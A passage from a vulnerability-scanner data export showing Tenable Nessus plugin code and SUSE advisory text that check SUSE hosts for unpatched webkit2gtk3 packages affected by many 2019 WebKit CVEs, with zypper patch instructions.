\"^(i586|i686|x86_64)$\") audit(AUDIT_ARCH_NOT, \"i586 / i686 / x86_64\", ourarch);\n\nflag = 0;\n\nif ( rpm_check(release:\"SUSE15.0\", reference:\"libjavascriptcoregtk-4_0-18-2.26.2-lp150.2.28.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"libjavascriptcoregtk-4_0-18-debuginfo-2.26.2-lp150.2.28.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"libwebkit2gtk-4_0-37-2.26.2-lp150.2.28.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"libwebkit2gtk-4_0-37-debuginfo-2.26.2-lp150.2.28.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"libwebkit2gtk3-lang-2.26.2-lp150.2.28.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"typelib-1_0-JavaScriptCore-4_0-2.26.2-lp150.2.28.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"typelib-1_0-WebKit2-4_0-2.26.2-lp150.2.28.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"typelib-1_0-WebKit2WebExtension-4_0-2.26.2-lp150.2.28.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"webkit-jsc-4-2.26.2-lp150.2.28.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"webkit-jsc-4-debuginfo-2.26.2-lp150.2.28.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"webkit2gtk-4_0-injected-bundles-2.26.2-lp150.2.28.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"webkit2gtk-4_0-injected-bundles-debuginfo-2.26.2-lp150.2.28.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"webkit2gtk3-debugsource-2.26.2-lp150.2.28.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"webkit2gtk3-devel-2.26.2-lp150.2.28.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"webkit2gtk3-minibrowser-2.26.2-lp150.2.28.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"webkit2gtk3-minibrowser-debuginfo-2.26.2-lp150.2.28.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", cpu:\"x86_64\", reference:\"libjavascriptcoregtk-4_0-18-32bit-2.26.2-lp150.2.28.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", cpu:\"x86_64\", reference:\"libjavascriptcoregtk-4_0-18-32bit-debuginfo-2.26.2-lp150.2.28.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", cpu:\"x86_64\", reference:\"libwebkit2gtk-4_0-37-32bit-2.26.2-lp150.2.28.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", cpu:\"x86_64\", reference:\"libwebkit2gtk-4_0-37-32bit-debuginfo-2.26.2-lp150.2.28.1\") ) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"libjavascriptcoregtk-4_0-18 / libjavascriptcoregtk-4_0-18-debuginfo / etc\");\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-24T14:32:07", "description": "This update for webkit2gtk3 to version 2.26.2 fixes the following issues :\n\nWebkit2gtk3 was updated to version 2.26.2 (WSA-2019-0005 and WSA-2019-0006, bsc#1155321 bsc#1156318)\n\nSecurity issues addressed :\n\nCVE-2019-8625: Fixed a logic issue where by processing maliciously crafted web content may lead to universal cross-site scripting.\n\nCVE-2019-8674: Fixed a logic issue where by processing maliciously crafted web content may lead to universal cross-site scripting.\n\nCVE-2019-8707: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nCVE-2019-8719: Fixed a logic issue where by processing maliciously crafted web content may lead to universal cross-site scripting.\n\nCVE-2019-8720: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nCVE-2019-8726: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nCVE-2019-8733: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nCVE-2019-8735: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nCVE-2019-8763: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nCVE-2019-8768: Fixed an issue where a user may be unable to delete browsing history items.\n\nCVE-2019-8769: Fixed an issue where a maliciously crafted website may reveal browsing history.\n\nCVE-2019-8771: Fixed an issue where a maliciously crafted web content may violate iframe sandboxing policy.\n\nCVE-2019-8710: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nCVE-2019-8743: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nCVE-2019-8764: Fixed a logic issue where by processing maliciously crafted web content may lead to universal cross-site scripting.\n\nCVE-2019-8765: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nCVE-2019-8766: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nCVE-2019-8782: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nCVE-2019-8783: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nCVE-2019-8808: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nCVE-2019-8811: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nCVE-2019-8812: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nCVE-2019-8813: Fixed a logic issue where by processing maliciously crafted web content may lead to universal cross-site scripting.\n\nCVE-2019-8814: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nCVE-2019-8815: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nCVE-2019-8816: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nCVE-2019-8819: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nCVE-2019-8820: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nCVE-2019-8821: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nCVE-2019-8822: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nCVE-2019-8823: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nNote that Tenable Network Security has extracted the preceding description block directly from the SUSE security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {}, "published": "2019-11-26T00:00:00", "type": "nessus", "title": "SUSE SLED15 / SLES15 Security Update : webkit2gtk3 (SUSE-SU-2019:3044-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8551", "CVE-2019-8558", "CVE-2019-8559", "CVE-2019-8563", "CVE-2019-8625", "CVE-2019-8674", "CVE-2019-8681", "CVE-2019-8684", "CVE-2019-8686", "CVE-2019-8687", "CVE-2019-8688", "CVE-2019-8689", "CVE-2019-8690", "CVE-2019-8707", "CVE-2019-8710", "CVE-2019-8719", "CVE-2019-8720", "CVE-2019-8726", "CVE-2019-8733", "CVE-2019-8735", "CVE-2019-8743", "CVE-2019-8763", "CVE-2019-8764", "CVE-2019-8765", "CVE-2019-8766", "CVE-2019-8768", "CVE-2019-8769", "CVE-2019-8771", "CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8808", "CVE-2019-8811", "CVE-2019-8812", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823"], "modified": "2023-04-25T00:00:00", "cpe": ["p-cpe:/a:novell:suse_linux:libjavascriptcoregtk-4_0", "p-cpe:/a:novell:suse_linux:libjavascriptcoregtk-4_0-18", "p-cpe:/a:novell:suse_linux:libjavascriptcoregtk-4_0-18-32bit-debuginfo", "p-cpe:/a:novell:suse_linux:libjavascriptcoregtk-4_0-18-debuginfo", "p-cpe:/a:novell:suse_linux:libwebkit2gtk-4_0", "p-cpe:/a:novell:suse_linux:libwebkit2gtk-4_0-37", "p-cpe:/a:novell:suse_linux:libwebkit2gtk-4_0-37-32bit-debuginfo", "p-cpe:/a:novell:suse_linux:libwebkit2gtk-4_0-37-debuginfo", "p-cpe:/a:novell:suse_linux:typelib-1_0-javascriptcore", "p-cpe:/a:novell:suse_linux:typelib-1_0-webkit2", "p-cpe:/a:novell:suse_linux:typelib-1_0-webkit2webextension", "p-cpe:/a:novell:suse_linux:webkit-jsc", "p-cpe:/a:novell:suse_linux:webkit-jsc-4-debuginfo", "p-cpe:/a:novell:suse_linux:webkit2gtk-4_0-injected-bundles", "p-cpe:/a:novell:suse_linux:webkit2gtk-4_0-injected-bundles-debuginfo", "p-cpe:/a:novell:suse_linux:webkit2gtk3-debugsource", "p-cpe:/a:novell:suse_linux:webkit2gtk3-devel", "p-cpe:/a:novell:suse_linux:webkit2gtk3-minibrowser", "p-cpe:/a:novell:suse_linux:webkit2gtk3-minibrowser-debuginfo", "cpe:/o:novell:suse_linux:15"], "id": "SUSE_SU-2019-3044-1.NASL", "href": "https://www.tenable.com/plugins/nessus/131302", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from SUSE update advisory SUSE-SU-2019:3044-1.\n# The text itself is copyright (C) SUSE.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(131302);\n script_version(\"1.8\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/04/25\");\n\n script_cve_id(\n \"CVE-2019-8551\",\n \"CVE-2019-8558\",\n \"CVE-2019-8559\",\n \"CVE-2019-8563\",\n \"CVE-2019-8625\",\n \"CVE-2019-8674\",\n \"CVE-2019-8681\",\n \"CVE-2019-8684\",\n \"CVE-2019-8686\",\n \"CVE-2019-8687\",\n \"CVE-2019-8688\",\n \"CVE-2019-8689\",\n \"CVE-2019-8690\",\n \"CVE-2019-8707\",\n \"CVE-2019-8710\",\n \"CVE-2019-8719\",\n \"CVE-2019-8720\",\n \"CVE-2019-8726\",\n \"CVE-2019-8733\",\n \"CVE-2019-8735\",\n \"CVE-2019-8743\",\n \"CVE-2019-8763\",\n \"CVE-2019-8764\",\n \"CVE-2019-8765\",\n \"CVE-2019-8766\",\n \"CVE-2019-8768\",\n \"CVE-2019-8769\",\n \"CVE-2019-8771\",\n \"CVE-2019-8782\",\n \"CVE-2019-8783\",\n \"CVE-2019-8808\",\n \"CVE-2019-8811\",\n \"CVE-2019-8812\",\n \"CVE-2019-8813\",\n \"CVE-2019-8814\",\n \"CVE-2019-8815\",\n \"CVE-2019-8816\",\n \"CVE-2019-8819\",\n \"CVE-2019-8820\",\n \"CVE-2019-8821\",\n \"CVE-2019-8822\",\n \"CVE-2019-8823\"\n );\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/06/13\");\n\n script_name(english:\"SUSE SLED15 / SLES15 Security Update : webkit2gtk3 (SUSE-SU-2019:3044-1)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote SUSE host is missing one or more security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"This update for webkit2gtk3 to version 2.26.2 fixes the following\nissues :\n\nWebkit2gtk3 was updated to version 2.26.2 (WSA-2019-0005 and\nWSA-2019-0006, bsc#1155321 bsc#1156318)\n\nSecurity issues addressed :\n\nCVE-2019-8625: Fixed a logic issue where by processing maliciously\ncrafted web content may lead to universal cross-site scripting.\n\nCVE-2019-8674: Fixed a logic issue where by processing maliciously\ncrafted web content may lead to universal cross-site scripting.\n\nCVE-2019-8707: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nCVE-2019-8719: Fixed a logic issue where by processing maliciously\ncrafted web content may lead to universal cross-site scripting.\n\nCVE-2019-8720: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nCVE-2019-8726: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nCVE-2019-8733: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nCVE-2019-8735: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nCVE-2019-8763: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nCVE-2019-8768: Fixed an issue where a user may be unable to delete\nbrowsing history items.\n\nCVE-2019-8769: Fixed an issue where a maliciously crafted website may\nreveal browsing history.\n\nCVE-2019-8771: Fixed an issue where a maliciously crafted web content\nmay violate iframe sandboxing policy.\n\nCVE-2019-8710: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nCVE-2019-8743: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nCVE-2019-8764: Fixed a logic issue where by processing maliciously\ncrafted web content may lead to universal cross-site scripting.\n\nCVE-2019-8765: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nCVE-2019-8766: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nCVE-2019-8782: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nCVE-2019-8783: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nCVE-2019-8808: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nCVE-2019-8811: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nCVE-2019-8812: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nCVE-2019-8813: Fixed a logic issue where by processing maliciously\ncrafted web content may lead to universal cross-site scripting.\n\nCVE-2019-8814: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nCVE-2019-8815: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nCVE-2019-8816: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nCVE-2019-8819: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nCVE-2019-8820: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nCVE-2019-8821: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nCVE-2019-8822: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nCVE-2019-8823: Fixed multiple memory corruption issues where by\nprocessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/show_bug.cgi?id=1155321\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/show_bug.cgi?id=1156318\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8551/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8558/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8559/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8563/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8625/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8674/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8681/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8684/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8686/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8687/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8688/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8689/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8690/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8707/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8710/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8719/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8720/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8726/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8733/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8735/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8743/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8763/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8764/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8765/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8766/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8768/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8769/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8771/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8782/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8783/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8808/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8811/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8812/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8813/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8814/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8815/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8816/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8819/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8820/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8821/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8822/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-8823/\");\n # https://www.suse.com/support/update/announcement/2019/suse-su-20193044-1/\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?142945de\");\n script_set_attribute(attribute:\"solution\", value:\n\"To install this SUSE Security Update use the SUSE recommended\ninstallation methods like YaST online_update or 'zypper patch'.\n\nAlternatively you can run the command listed for your product :\n\nSUSE Linux Enterprise Module for Open Buildservice Development Tools\n15-SP1:zypper in -t patch\nSUSE-SLE-Module-Development-Tools-OBS-15-SP1-2019-3044=1\n\nSUSE Linux Enterprise Module for Open Buildservice Development Tools\n15:zypper in -t patch\nSUSE-SLE-Module-Development-Tools-OBS-15-2019-3044=1\n\nSUSE Linux Enterprise Module for Desktop Applications 15-SP1:zypper in\n-t patch SUSE-SLE-Module-Desktop-Applications-15-SP1-2019-3044=1\n\nSUSE Linux Enterprise Module for Desktop Applications 15:zypper in -t\npatch SUSE-SLE-Module-Desktop-Applications-15-2019-3044=1\n\nSUSE Linux Enterprise Module for Basesystem 15-SP1:zypper in -t patch\nSUSE-SLE-Module-Basesystem-15-SP1-2019-3044=1\n\nSUSE Linux Enterprise Module for Basesystem 15:zypper in -t patch\nSUSE-SLE-Module-Basesystem-15-2019-3044=1\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-8816\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2019-8823\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/12/18\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/11/25\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/11/26\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libjavascriptcoregtk-4_0\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libjavascriptcoregtk-4_0-18\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libjavascriptcoregtk-4_0-18-32bit-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libjavascriptcoregtk-4_0-18-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libwebkit2gtk-4_0\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libwebkit2gtk-4_0-37\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libwebkit2gtk-4_0-37-32bit-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libwebkit2gtk-4_0-37-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:typelib-1_0-JavaScriptCore\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:typelib-1_0-WebKit2\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:typelib-1_0-WebKit2WebExtension\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:webkit-jsc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:webkit-jsc-4-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:webkit2gtk-4_0-injected-bundles\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:webkit2gtk-4_0-injected-bundles-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:webkit2gtk3-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:webkit2gtk3-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:webkit2gtk3-minibrowser\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:webkit2gtk3-minibrowser-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:suse_linux:15\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"SuSE Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2019-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release !~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"SUSE\");\nos_ver = pregmatch(pattern: \"^(SLE(S|D)\\d+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"SUSE\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^(SLED15|SLES15)$\", string:os_ver)) audit(AUDIT_OS_NOT, \"SUSE SLED15 / SLES15\", \"SUSE \" + os_ver);\n\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^i[3-6]86$\" && \"x86_64\" >!< cpu && \"s390x\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"SUSE \" + os_ver, cpu);\n\nsp = get_kb_item(\"Host/SuSE/patchlevel\");\nif (isnull(sp)) sp = \"0\";\nif (os_ver == \"SLES15\" && (! preg(pattern:\"^(0|1)$\", string:sp))) audit(AUDIT_OS_NOT, \"SLES15 SP0/1\", os_ver + \" SP\" + sp);\nif (os_ver == \"SLED15\" && (! preg(pattern:\"^(0|1)$\", string:sp))) audit(AUDIT_OS_NOT, \"SLED15 SP0/1\", os_ver + \" SP\" + sp);\n\n\nflag = 0;\nif (rpm_check(release:\"SLES15\", sp:\"1\", cpu:\"x86_64\", reference:\"libjavascriptcoregtk-4_0-18-32bit-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", cpu:\"x86_64\", reference:\"libjavascriptcoregtk-4_0-18-32bit-debuginfo-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", cpu:\"x86_64\", reference:\"libwebkit2gtk-4_0-37-32bit-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", cpu:\"x86_64\", reference:\"libwebkit2gtk-4_0-37-32bit-debuginfo-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"libjavascriptcoregtk-4_0-18-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"libjavascriptcoregtk-4_0-18-debuginfo-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"libwebkit2gtk-4_0-37-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"libwebkit2gtk-4_0-37-debuginfo-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"typelib-1_0-JavaScriptCore-4_0-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"typelib-1_0-WebKit2-4_0-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"typelib-1_0-WebKit2WebExtension-4_0-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"webkit-jsc-4-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"webkit-jsc-4-debuginfo-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"webkit2gtk-4_0-injected-bundles-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"webkit2gtk-4_0-injected-bundles-debuginfo-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"webkit2gtk3-debugsource-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"webkit2gtk3-devel-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"webkit2gtk3-minibrowser-2.26.2-3.34.3\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", 